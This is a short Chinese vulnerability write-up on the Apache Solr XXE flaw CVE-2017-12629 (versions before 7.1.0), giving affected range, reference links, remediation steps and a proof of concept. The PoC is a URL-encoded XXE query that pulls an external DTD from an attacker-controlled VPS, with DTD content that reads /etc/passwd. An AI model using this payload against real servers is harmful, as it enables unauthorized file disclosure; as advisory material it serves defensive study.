Apache solr XML 实体注入漏洞

描述:

  Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

范围:

  Apache solr<7.1.0 版本

利用:

  可参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/

  以及:https://blog.csdn.net/yangbz123/article/details/117827547

修复:

  升级更高版本

  添加Solr访问控制,包括禁止本地直接未授权访问

  修改相关java文件

Poc:
复制代码

/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fapachesolrxxe.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser 其中xxx.xxx.xxx.xxx为vps的ip地址 apachesolrxxe.dtd为dtd文件名

复制代码

vps中dtd文件内容:

复制代码

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

相关推荐
祭曦念2 天前
ArkUI声明式UI入门:从XML到声明式的思维转变
xml·ui·鸿蒙
MageGojo2 天前
小程序每日一谜怎么做:riddle 接口接入示例
windows·小程序·apache·谜语
penngo3 天前
FlowLoom:基于 Apache Spark 的可视化数据处理平台
大数据·spark·apache
Meteors.3 天前
安卓源码阅读——01.grade设置binding为true时,xml如何进行映射
android·xml
程序员buddha4 天前
传统 Spring 框架,XML 配置 Bean 的方式
xml·java·spring
前网易架构师-高司机4 天前
带标注的交警识别数据集,可识别交警和非交警,5587张图,支持yolo,coco json,voc xml,文末有模型训练代码
xml·yolo·json·数据集·交警
Apache RocketMQ4 天前
全新 AI 消息模型:Apache RocketMQ 如何让 AI 应用拥抱事件驱动架构?
人工智能·apache·rocketmq
MageGojo4 天前
给起名工具接入八字起名 API:参数设计、JSON 示例和应用场景
json·apache
x***r1515 天前
linux安装 apache-tomcat-7.0.42.tar.gz 详细步骤(解压、配置、启动)
linux·tomcat·apache
波诺波5 天前
最小 SOFA XML 场景结构 0-base.scn
xml·java·前端